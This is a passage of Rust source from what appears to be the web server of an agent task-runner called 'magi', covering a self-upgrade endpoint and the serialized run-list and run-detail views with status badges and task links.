3596                .store(false, std::sync::atomic::Ordering::SeqCst);
3597            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3598            return StatusCode::NO_CONTENT.into_response();
3599        }
3600        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3601        return finish_upgrade_request(
3602            ui,
3603            upgrade_checked_for(
3604                ui,
3605                env!("CARGO_PKG_VERSION").into(),
3606                Ok(Some(latest)),
3607                trigger,
3608            ),
3609        );
3610    }
3611    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3612}
3613
3614fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3615    match result {
3616        Ok(out) => {
3617            *ui.upgrade_request_error
3618                .lock()
3619                .unwrap_or_else(PoisonError::into_inner) = None;
3620            out.into_response()
3621        }
3622        Err(error) if error.status != StatusCode::CONFLICT => {
3623            let failure = UpgradeRequestFailure::new(error.message);
3624            *ui.upgrade_request_error
3625                .lock()
3626                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3627            let mut response = (error.status, Json(&failure)).into_response();
3628            if let Some(value) = failure
3629                .retry_after_secs
3630                .and_then(|secs| secs.to_string().parse().ok())
3631            {
3632                response.headers_mut().insert("retry-after", value);
3633            }
3634            response
3635        }
3636        Err(error) => error.into_response(),
3637    }
3638}
3639
3640async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3641    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3642        return Err(ApiError::conflict(
3643            "an upgrade is already in progress (this process started one and it \
3644             has not finished or failed yet)",
3645        ));
3646    }
3647    let recorded = updater::read_progress(&ui.home);
3648    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3649        return Err(ApiError::conflict(format!(
3650            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3651             stays stuck, restart the deck; on start it settles a stale record.",
3652            p.stage.as_str(),
3653            p.from,
3654            p.to.as_deref().unwrap_or("?"),
3655        )));
3656    }
3657
3658    // The same kill switch the background check honours (`disabled_by_env`),
3659    // checked before anything else for the same reason it is read before the
3660    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3661    // contact GitHub from this process", and a button press must not
3662    // override that any more than a broken `magi.toml` may.
3663    if crate::updater::disabled_by_env() {
3664        return Ok((
3665            StatusCode::OK,
3666            Json(UpgradeView {
3667                from: env!("CARGO_PKG_VERSION").to_owned(),
3668                to: None,
3669                detail: format!(
3670                    "Automatic updates are disabled by {}. Nothing was parked \
3671                     and nothing restarted.",
3672                    crate::updater::NO_AUTOUPDATE_ENV
3673                ),
3674            }),
3675        ));
3676    }
3677
3678    // Check before disturbing listeners or scheduling: no available update
3679    // means there is no reason to restart anything.
3680    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3681    let from = env!("CARGO_PKG_VERSION").to_owned();
3682    let latest = match crate::updater::Checker::new(&cfg.update) {
3683        Some(checker) => checker.newer_release().await,
3684        None => Ok(None),
3685    };
3686    upgrade_checked(ui, from, latest)
3687}
3688
3689fn upgrade_checked(
3690    ui: &Arc<Ui>,
3691    from: String,
3692    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3693) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3694    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3695}
3696
3697fn upgrade_checked_for(
3698    ui: &Arc<Ui>,
3699    from: String,
3700    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3701    trigger: updater::UpgradeTrigger,
3702) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3703    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3704    let Some(latest) = latest else {
3705        return Ok((
3706            StatusCode::OK,
3707            Json(UpgradeView {
3708                from,
3709                to: None,
3710                detail: "Already on the newest release. Nothing was parked \
3711                         and nothing restarted."
3712                    .to_owned(),
3713            }),
3714        ));
3715    };
3716
3717    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3718
3719    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3720    // poll must see a `Downloading` stage immediately, not whenever the
3721    // spawned task happens to get scheduled.
3722    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3723    progress.trigger = trigger;
3724    updater::write_progress_logged(&ui.home, &progress);
3725
3726    let home = ui.home.clone();
3727    ui.upgrade_spawned
3728        .store(true, std::sync::atomic::Ordering::SeqCst);
3729    let spawned = Arc::clone(&ui.upgrade_spawned);
3730    let runner = ui.upgrade_runner;
3731    let failed = ui.auto_failed_tag.clone();
3732    let tag = latest.tag_name.clone();
3733    tokio::spawn(async move {
3734        if let Err(e) = runner(home.clone()).await {
3735            if trigger == updater::UpgradeTrigger::Auto {
3736                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3737            }
3738            tracing::error!("the upgrade did not complete: {e:#}");
3739            // A failure of this attempt says nothing about a handover an
3740            // earlier request already has in flight; checked and written
3741            // under the progress lock.
3742            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3743            // Release only after failure bookkeeping, before accepting a retry.
3744            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3745        }
3746    });
3747
3748    Ok((
3749        StatusCode::ACCEPTED,
3750        Json(UpgradeView {
3751            from,
3752            to: Some(latest.tag_name),
3753            detail,
3754        }),
3755    ))
3756}
3757
3758/// Replace the binary, then ask [`serve`] to hand the address over.
3759///
3760/// Separated from the handler so the 202 is already on its way, and separated
3761/// from the spawn so the successor starts only after the listener is dropped.
3762async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3763    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3764    // hang the upgrade for as long as the process lives.
3765    crate::updater::run_self_update(true, false, true).await?;
3766    updater::log_step(&home, "binary replaced - recording the replaced stage");
3767    if let Some(mut progress) = updater::read_progress(&home) {
3768        progress.advance(updater::Stage::Replaced);
3769        updater::write_progress_logged(&home, &progress);
3770    }
3771    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3772    HANDOVER.notify_one();
3773    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3774    Ok(())
3775}
3776
3777/// One row in the run list.
3778///
3779/// The list route returns this rather than whole `RunState`s: the summary of a
3780/// run is a few hundred bytes and the state is megabytes, and the difference
3781/// is what makes the history usable on a mobile link.
3782#[derive(Debug, Serialize)]
3783struct RunSummary {
3784    activity: String,
3785    id: String,
3786    short: String,
3787    status: String,
3788    done: bool,
3789    instruction: String,
3790    title: String,
3791    repo: String,
3792    repo_name: String,
3793    created_at: String,
3794    updated_at: String,
3795    candidates: usize,
3796    viable: usize,
3797    judges: usize,
3798    winner: Option<char>,
3799    reviews: usize,
3800    quota_losses: usize,
3801    event: Option<String>,
3802    /// The later attempt at the same task that replaced this one, if any.
3803    ///
3804    /// Two cards with one title is otherwise unreadable: this is what lets
3805    /// the deck say "superseded by 4043" on the older of the pair.
3806    superseded_by: Option<String>,
3807    /// Blocked on a question nobody has answered.
3808    ///
3809    /// Derived from the question store rather than stored on the run: an agent
3810    /// calling `magi ask` blocks mid-node, and writing a status from there
3811    /// would race the graph's own save of `run.json` and be overwritten at the
3812    /// next node boundary. Asking the store is always true and never races.
3813    waiting: bool,
3814    /// Whether the process recorded as driving this run can still be proven
3815    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3816    /// rather than presenting its last graph node as still in flight.
3817    live: crate::run::Liveness,
3818    /// The land loop's last look at the pull request, when there is one.
3819    pr: Option<crate::run::PrRecord>,
3820    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3821    /// design — never picked up by the PR-polling merge watcher, unlike an
3822    /// ordinary `Ready` that may still be a live landing candidate. See
3823    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3824    /// re-deriving the same check from `status` and `merge.mode` itself.
3825    unmerged_by_design: bool,
3826    /// Derived presentation status matching [`RunDetailView::display_status`].
3827    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3828    #[serde(default)]
3829    display_status: String,
3830    /// What the status badge shows: `display_status`, or `superseded` for a
3831    /// non-live run a later attempt replaced. See [`run_badge_status`].
3832    #[serde(default)]
3833    badge_status: String,
3834    /// Who started the run, as the one label every surface shares; the
3835    /// "origin unknown" wording when the record predates origins.
3836    origin_label: String,
3837}
3838
3839impl RunSummary {
3840    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3841        Self {
3842            activity: crate::run_progress::activity(state, live, waiting),
3843            id: state.id.clone(),
3844            short: state.short().to_owned(),
3845            status: status_word(state.status),
3846            done: state.status.done(),
3847            unmerged_by_design: state.unmerged_by_design(),
3848            display_status: run_display_status(state, waiting, live),
3849            badge_status: run_display_status(state, waiting, live),
3850            instruction: state.instruction.clone(),
3851            title: title_from(&state.instruction, TITLE_MAX),
3852            repo: state.repo.display().to_string(),
3853            repo_name: state
3854                .repo
3855                .file_name()
3856                .map(|n| n.to_string_lossy().into_owned())
3857                .unwrap_or_default(),
3858            created_at: state.created_at.to_string(),
3859            updated_at: state.updated_at.to_string(),
3860            candidates: state.candidates.len(),
3861            viable: state.viable().len(),
3862            judges: state.config.graph.judges,
3863            winner: state.winner().map(|c| c.label),
3864            reviews: state.reviews.len(),
3865            quota_losses: state.quota.len(),
3866            event: state
3867                .verification_blocking_cause()
3868                .or_else(|| state.events.last().map(|e| e.message.clone())),
3869            waiting,
3870            live,
3871            // Filled in by the list route, which is the only place that can
3872            // see a task's other attempts.
3873            superseded_by: None,
3874            pr: state.pr.clone(),
3875            origin_label: crate::run::origin_label(state.origin.as_ref()),
3876        }
3877    }
3878}
3879
3880/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3881/// the same string `serde` writes for the status inside a full run.
3882fn status_word(status: RunStatus) -> String {
3883    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3884    // was a third way of naming the same statuses, and one that changed
3885    // silently with a derive.
3886    status.as_str().to_owned()
3887}
3888
3889/// The presentation status for a run, unified across summaries and details.
3890///
3891/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3892/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3893/// runs awaiting operator answers.
3894fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3895    if waiting {
3896        return "waiting".to_owned();
3897    }
3898    if state.unmerged_by_design() {
3899        return "unmerged".to_owned();
3900    }
3901    if !state.status.done() && live == crate::run::Liveness::Dead {
3902        // The driver claim clears this flag before saving another event.
3903        // A previous park event can therefore outlive a resumed driver.
3904        if state.parked {
3905            return "parked".to_owned();
3906        }
3907        return "stale".to_owned();
3908    }
3909    status_word(state.status)
3910}
3911
3912/// The word a run's status badge shows: `display_status`, except that a
3913/// non-terminal run which is not provably live and was replaced by a later
3914/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3915///
3916/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3917/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3918/// own word, so superseded never claims more than "not live".
3919fn run_badge_status(
3920    state: &RunState,
3921    display_status: &str,
3922    live: crate::run::Liveness,
3923    superseded: bool,
3924) -> String {
3925    if state.status.done() || live == crate::run::Liveness::Live {
3926        return display_status.to_owned();
3927    }
3928    if superseded {
3929        return "superseded".to_owned();
3930    }
3931    // A dead run's `display_status` is `stale`, except that a deliberate park
3932    // and an open owner question keep their own word: neither is a crash, and
3933    // the question still needs an answer. Anything else dead reads `stale`.
3934    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3935        return "stale".to_owned();
3936    }
3937    display_status.to_owned()
3938}
3939
3940/// `?limit=`, clamped by the handler.
3941#[derive(Debug, Deserialize)]
3942struct ListQuery {
3943    #[serde(default)]
3944    limit: Option<usize>,
3945    /// Exact ids only; an empty value requests no rows (except queue blockers).
3946    ids: Option<String>,
3947}
3948
3949impl ListQuery {
3950    fn contains(&self, id: &str) -> bool {
3951        self.ids
3952            .as_ref()
3953            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3954    }
3955}
3956
3957async fn runs_list(
3958    State(ui): State<Arc<Ui>>,
3959    Query(q): Query<ListQuery>,
3960) -> ApiResult<Json<Vec<RunSummary>>> {
3961    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3962    blocking(move || {
3963        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3964        let states = run_ids(&ui.runs)
3965            .into_iter()
3966            // A run whose state cannot be read is skipped, not fatal: a run
3967            // killed mid-write must not blank the history of every other one.
3968            // The detail route still explains it, which is where an operator
3969            // asking "what happened to that run" ends up.
3970            .filter_map(|id| read_run(&ui.runs, &id).ok())
3971            .take(limit)
3972            .filter(|run| q.contains(&run.id));
3973        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3974        let summaries = summarize(
3975            states,
3976            &open_runs,
3977            &claimed,
3978            &superseded,
3979            |p| probe.borrow_mut().status(p),
3980            |p| probe.borrow_mut().started_at(p),
3981        );
3982        Ok(Json(summaries))
3983    })
3984    .await
3985}
3986
3987/// Everything the per-run rows share, read once: runs with an open question,
3988/// runs a live daemon claims, and the superseded map. Asking per run re-read
3989/// every question file and the daemon status file for each of hundreds of
3990/// runs, and spawned a process probe per run on Windows.
3991fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3992    let open_runs: HashSet<String> = ui
3993        .questions
3994        .list()
3995        .into_iter()
3996        .filter(|q| q.status.open())
3997        .map(|q| q.run)
3998        .collect();
3999    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4000        .into_iter()
4001        .map(|c| c.run)
4002        .collect();
4003    (open_runs, claimed, ui.queue.superseded())
4004}
4005
4006/// The rows of the run list, given everything that is shared between them.
4007///
4008/// Pure over its inputs so a test can count how often the process queries are
4009/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4010/// takes, called at most once per run.
4011fn summarize<I, S, D>(
4012    states: I,
4013    open_runs: &HashSet<String>,
4014    claimed: &HashSet<String>,
4015    superseded: &HashMap<String, String>,
4016    mut status_q: S,
4017    mut identity_q: D,
4018) -> Vec<RunSummary>
4019where
4020    I: IntoIterator<Item = RunState>,
4021    S: FnMut(u32) -> Option<bool>,
4022    D: FnMut(u32) -> Option<String>,
4023{
4024    states
4025        .into_iter()
4026        .map(|state| {
4027            let waiting = open_runs.contains(&state.id);
4028            let live =
4029                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4030            let mut row = RunSummary::of(&state, waiting, live);
4031            row.superseded_by = state
4032                .pr_taken_over_by
4033                .as_ref()
4034                .or_else(|| superseded.get(&state.id))
4035                .map(String::as_str)
4036                .map(crate::run::short_of)
4037                .map(str::to_owned);
4038            row.badge_status = run_badge_status(
4039                &state,
4040                &row.display_status,
4041                live,
4042                row.superseded_by.is_some(),
4043            );
4044            row
4045        })
4046        .collect()
4047}
4048
4049/// A run as the detail route hands it to the phone.
4050///
4051/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4052/// the instruction as markdown, and the raw `instruction` field this struct
4053/// still carries (unchanged) is what a client wanting the exact bytes reads
4054/// instead.
4055#[derive(Debug, Serialize)]
4056struct RunDetailView {
4057    progress: crate::run_progress::Progress,
4058    stop_reason: Option<String>,
4059    #[serde(flatten)]
4060    state: RunState,
4061    instruction_md: Vec<md::Node>,
4062    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4063    /// mirror the records they come from, index for index; the raw strings
4064    /// stay in `state` and decide whether a block is shown at all.
4065    #[serde(flatten)]
4066    prose_md: RunProseMd,
4067    /// Whether a process is actually still driving this run: `"live"`,
4068    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4069    ///
4070    /// `state.active` (flattened in above) is only ever cleared by the
4071    /// process that populated it; a killed one leaves its last wave's
4072    /// entries behind. Carrying this alongside is what lets the phone rail
4073    /// tell "this seat is still answering" from "this seat was still
4074    /// answering when whatever was driving this run died" without a second
4075    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4076    /// proof of either. A string rather than a bool on purpose: a daemon
4077    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4078    /// and neither proven is `"unknown"` — folding that third case into
4079    /// either end of a bool is exactly the wrong call for a phone screen an
4080    /// operator uses to decide whether to wait or to act.
4081    live: crate::run::Liveness,
4082    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4083    /// alongside the flattened `state` rather than inside it, since
4084    /// `RunState` has no business knowing which of its own methods a caller
4085    /// wants serialized.
4086    unmerged_by_design: bool,
4087    /// Same field and meaning as [`RunSummary::waiting`].
4088    #[serde(default)]
4089    waiting: bool,
4090    /// Same derived presentation status as [`RunSummary::display_status`].
4091    #[serde(default)]
4092    display_status: String,
4093    /// Same field and meaning as [`RunSummary::badge_status`].
4094    #[serde(default)]
4095    badge_status: String,
4096    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4097    /// terminal. The client's `landView` keys on it, and the flattened state
4098    /// has no such field, so without it a finished run's stale `open` PR
4099    /// would be painted as live on the detail page.
4100    done: bool,
4101    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4102    /// route fills it from [`Queue::superseded`], the detail route from
4103    /// [`Queue::superseded_by`], and both read the same underlying task
4104    /// order. Without this the detail page could only ever show a red
4105    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4106    /// with nothing anywhere saying so — an operator opening it had no way
4107    /// to tell "this is done elsewhere" from "this still needs a retry".
4108    superseded_by: Option<String>,
4109    /// The task's current attempt, when this run is an older one — resolved
4110    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4111    /// the client to derive.
4112    ///
4113    /// Three things a client cannot safely do on its own drove this onto the
4114    /// server: it has to name the chain's *current head*, not just the next
4115    /// attempt (`superseded_by` above), because an intermediate retry in a
4116    /// longer chain can itself still be unresolved; it has to resolve to a
4117    /// real id rather than a short id a client would have to guess a full id
4118    /// from, which is ambiguous the moment two runs share a suffix; and it
4119    /// has to read that head's own status directly, because whether a run
4120    /// list a client happens to have cached even contains that attempt
4121    /// depends on a page limit this route knows nothing about.
4122    latest_attempt: Option<LatestAttempt>,
4123    /// The queue task this run belongs to, so the detail page can link back
4124    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4125    task: Option<TaskRef>,
4126    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4127    /// run recorded before origins existed. `origin` itself (flattened in
4128    /// with `state`) is `null` in that case.
4129    origin_label: String,
4130    /// Each recorded pass over this run, with the cause it stopped for. Empty
4131    /// for a run from before passes were kept: its earlier passes are unknown.
4132    pass_views: Vec<PassView>,
4133}
4134
4135/// A task named from a run's detail page.
4136#[derive(Debug, Serialize)]
4137struct TaskRef {
4138    id: String,
4139    short: String,
4140    title: String,
4141    /// [`Source::label`], e.g. `chat@a1b2`.
4142    source_label: String,
4143    /// Where the task came from, when that place has a page; see [`source_link`].
4144    source_link: Option<SourceLink>,
4145    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4146    status: &'static str,
4147    attempts: usize,
4148    max_attempts: usize,
4149    /// This run is the last entry of the task's run list.
4150    is_latest: bool,
4151    /// The task's newest run, when it is not this one.
4152    latest: Option<RunBrief>,
4153    /// The run that finished a `done` task (merged, or already in the base).
4154    finished_by: Option<RunBrief>,
4155    /// The task is `done` but no run on record finished it: closed by hand.
4156    closed_by_hand: bool,
4157}
4158
4159/// The page that filed a task, as the UI links to it.
4160#[derive(Debug, PartialEq, Eq, Serialize)]
4161struct SourceLink {
4162    /// `chat` (a conversation) or `run` (a run's node).
4163    kind: &'static str,
4164    /// The full id, never the short one in the label.
4165    id: String,
4166    /// The hash route that opens it.
4167    href: String,
4168}
4169
4170/// Percent-encode everything outside the URL-unreserved set.
4171fn encode_segment(raw: &str) -> String {
4172    let mut out = String::with_capacity(raw.len());
4173    for b in raw.bytes() {
4174        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4175            out.push(b as char);
4176        } else {
4177            out.push_str(&format!("%{b:02X}"));
4178        }
4179    }
4180    out
4181}
4182
4183/// The one place that decides where a task's source links to. A chat
4184/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4185/// a person or an imported issue has no page, so no link.
4186fn source_link(source: &Source) -> Option<SourceLink> {
4187    let Source::Agent { run, node } = source else {
4188        return None;
4189    };
4190    let (kind, route) = if node == crate::queue::CHAT_NODE {
4191        ("chat", "chat")
4192    } else {
4193        ("run", "runs")
4194    };
4195    Some(SourceLink {
4196        kind,
4197        id: run.clone(),
4198        href: id_links::page_href(route, run),
4199    })
4200}
4201
4202/// The parent task of a follow-up, when its file can still be read.
4203#[derive(Debug, Serialize, PartialEq)]
4204struct FollowUpParent {
4205    id: String,
4206    short: String,
4207    title: String,
4208    /// The parent's own status (`TaskStatus::as_str`).
4209    status: &'static str,
4210    href: String,
4211}
4212
4213/// The merged run a follow-up was filed from.
4214#[derive(Debug, Serialize, PartialEq)]
4215struct FollowUpRun {
4216    id: String,
4217    short: String,
4218    /// `None` when the run's record cannot be read.
4219    status: Option<&'static str>,
4220    /// `None` unless the record could be read: never a dead link.
4221    href: Option<String>,
4222}
4223
4224/// Where a follow-up task came from, resolved once per task page so the flow
4225/// chart and the detail block cannot disagree. See [`followup_origin`].
4226#[derive(Debug, Serialize, PartialEq)]
4227struct FollowUpOrigin {
4228    /// Present only when `origin_task` is set and that task still exists.
4229    parent: Option<FollowUpParent>,
4230    run: FollowUpRun,
4231    /// The merged pull request, verbatim. Not an href: the client passes it
4232    /// through `forgeUrl()` and renders text when that refuses it (the one
4233    /// exception to "the href rule is Rust's alone", since a forge URL is
4234    /// data from a record, not a route).
4235    pr: String,
4236    findings: Vec<String>,
4237    generation: u32,
4238}
4239
4240/// The one place that decides what a follow-up links to. A parent that cannot
4241/// be read (gone, or an id that names nothing) is `None`, never an error.
4242fn followup_origin(
4243    fu: &crate::queue::FollowUp,
4244    task: impl Fn(&str) -> Option<Task>,
4245    run: impl Fn(&str) -> Option<RunState>,
4246) -> FollowUpOrigin {
4247    let parent = fu
4248        .origin_task
4249        .as_deref()
4250        .and_then(task)
4251        .map(|t| FollowUpParent {
4252            short: t.short().to_owned(),
4253            href: format!("#/tasks/{}", encode_segment(&t.id)),
4254            status: t.status.as_str(),
4255            title: t.title,
4256            id: t.id,
4257        });
4258    let state = run(&fu.run);
4259    FollowUpOrigin {
4260        parent,
4261        run: FollowUpRun {
4262            short: run::short_of(&fu.run).to_owned(),
4263            status: state.as_ref().map(|s| s.status.as_str()),
4264            href: state
4265                .is_some()
4266                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4267            id: fu.run.clone(),
4268        },
4269        pr: fu.pr.clone(),
4270        findings: fu.findings.clone(),
4271        generation: fu.generation,
4272    }
4273}
4274
4275/// Another run of the same task, as named from a run's detail page.
4276#[derive(Debug, Serialize)]
4277struct RunBrief {
4278    id: String,
4279    short: String,
4280    /// `None` when the run's record cannot be read.
4281    status: Option<&'static str>,
4282    /// The task-page wording for how that pass ended.
4283    outcome: String,
4284    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4285    badge: Option<String>,
4286}
4287
4288/// The task's overall outcome as seen from `this_run`'s page, classified with
4289/// the same exits the task page's flowchart uses.
4290fn task_outcome(
4291    task: &Task,
4292    this_run: &str,
4293    max_attempts: usize,
4294    read: impl Fn(&str) -> Option<RunState>,
4295) -> TaskRef {
4296    let max_attempts = task.effective_attempt_limit(max_attempts);
4297    let history = task_history(task, read);
4298    let brief = |h: &TaskRunView| RunBrief {
4299        id: h.id.clone(),
4300        short: h.short.clone(),
4301        status: h.status,
4302        outcome: h.exit.edge_label(h.status),
4303        badge: h.badge.clone(),
4304    };
4305    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4306    let latest = if is_latest {
4307        None
4308    } else {
4309        history.last().map(brief)
4310    };
4311    let done = task.status == TaskStatus::Done;
4312    let finished_by = done
4313        .then(|| {
4314            history
4315                .iter()
4316                .rev()
4317                .find(|h| {
4318                    matches!(
4319                        h.exit,
4320                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4321                    )
4322                })
4323                .map(brief)
4324        })
4325        .flatten();
4326    TaskRef {
4327        short: task.short().to_owned(),
4328        title: task.title.clone(),
4329        id: task.id.clone(),
4330        source_label: task.source.label(),
4331        source_link: source_link(&task.source),
4332        status: task.status.as_str(),
4333        attempts: task.attempts,
4334        max_attempts,
4335        is_latest,
4336        latest,
4337        closed_by_hand: done && finished_by.is_none(),
4338        finished_by,
4339    }
4340}
4341
4342/// The task's current attempt, as seen from an older one's detail page.
4343#[derive(Debug, Serialize)]
4344struct LatestAttempt {
4345    id: String,
4346    short: String,
4347    /// Whether this attempt itself settled with a result nobody needs to
4348    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4349    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4350    /// unconfirmed claim that no change was needed, which is exactly why it
4351    /// settles the task through `Held` rather than `Done` and still waits on
4352    /// a human to check the evidence; showing an older run as "finished
4353    /// elsewhere" on the strength of an unverified claim would bury the
4354    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4355    /// in-flight status are excluded because they are exactly the
4356    /// unresolved states this field exists to tell apart from a real finish.
4357    resolved: bool,
4358    /// The attempt's own recorded status, so the page can say where it
4359    /// stands while it is not resolved yet.
4360    status: RunStatus,
4361    /// Whether that status is terminal (nothing is still running it).
4362    done: bool,
4363}
4364
4365/// Markdown for the free-text prose of a run, parallel to `RunState`.
4366#[derive(Debug, Default, Serialize)]
4367struct RunProseMd {
4368    /// `None` when the run has no design deliberation.
4369    advice_md: Option<AdviceMd>,
4370    /// One entry per candidate: the summary.
4371    candidate_summaries_md: Vec<Vec<md::Node>>,
4372    /// One entry per review round, in `reviews` order.
4373    reviews_md: Vec<RoundMd>,
4374}
4375
4376#[derive(Debug, Default, Serialize)]
4377struct AdviceMd {
4378    synthesis: Vec<md::Node>,
4379    /// One per record; empty for a seat with no proposal.
4380    approaches: Vec<Vec<md::Node>>,
4381}
4382
4383#[derive(Debug, Default, Serialize)]
4384struct RoundMd {
4385    /// One per reviewer record.
4386    reviewers: Vec<ReviewerMd>,
4387    /// One per `reconsideration` entry: the reason.
4388    reconsideration: Vec<Vec<md::Node>>,
4389    fix: Option<FixMd>,
4390}
4391
4392#[derive(Debug, Default, Serialize)]
4393struct ReviewerMd {
4394    summary: Vec<md::Node>,
4395    /// One per finding, in recorded order (not the display order).
4396    findings: Vec<Vec<md::Node>>,
4397}
4398
4399#[derive(Debug, Default, Serialize)]
4400struct FixMd {
4401    notes: Vec<md::Node>,
4402    /// One per rejection: the argument.
4403    rejected: Vec<Vec<md::Node>>,
4404}
4405
4406/// Parse a run's agent-written prose; a pure function of the state.
4407fn run_prose_md(state: &RunState) -> RunProseMd {
4408    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4409    RunProseMd {
4410        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4411            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4412            approaches: a
4413                .records
4414                .iter()
4415                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4416                .collect(),
4417        }),
4418        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4419        reviews_md: state
4420            .reviews
4421            .iter()
4422            .map(|round| RoundMd {
4423                reviewers: round
4424                    .reviews
4425                    .iter()
4426                    .map(|rec| ReviewerMd {
4427                        summary: nodes(&rec.summary),
4428                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4429                    })
4430                    .collect(),
4431                reconsideration: round
4432                    .reconsideration
4433                    .iter()
4434                    .map(|rv| nodes(&rv.reason))
4435                    .collect(),
4436                fix: round.fix.as_ref().map(|fix| FixMd {
4437                    notes: nodes(&fix.notes),
4438                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4439                }),
4440            })
4441            .collect(),
4442    }
4443}
4444
4445impl RunDetailView {
4446    fn of(
4447        state: RunState,
4448        waiting: bool,
4449        live: crate::run::Liveness,
4450        superseded_by: Option<String>,
4451        latest_attempt: Option<LatestAttempt>,
4452        task: Option<TaskRef>,
4453    ) -> Self {
4454        let display_status = run_display_status(&state, waiting, live);
4455        let stop_reason = crate::stop_reason::of(
4456            &state,
4457            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4458        );
4459        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4460        Self {
4461            progress: crate::run_progress::build(&state, live, waiting),
4462            stop_reason,
4463            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4464            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4465            prose_md: run_prose_md(&state),
4466            origin_label: crate::run::origin_label(state.origin.as_ref()),
4467            live,
4468            unmerged_by_design: state.unmerged_by_design(),
4469            waiting,
4470            display_status,
4471            badge_status,
4472            done: state.status.done(),
4473            superseded_by,
4474            latest_attempt,
4475            task,
4476            state,
4477        }
4478    }
4479}
4480
4481/// Core content needs neither the queue nor question/liveness evidence.
4482async fn run_core(
4483    State(ui): State<Arc<Ui>>,
4484    Path(id): Path<String>,
4485) -> ApiResult<Json<RunDetailView>> {
4486    blocking(move || {
4487        let id = resolve_run(&ui.runs, &id)?;
4488        let state = read_run(&ui.runs, &id)?;
4489        Ok(Json(RunDetailView::of(
4490            state,
4491            false,
4492            crate::run::Liveness::Unknown,
4493            None,
4494            None,
4495            None,
4496        )))
4497    })
4498    .await
4499}
4500
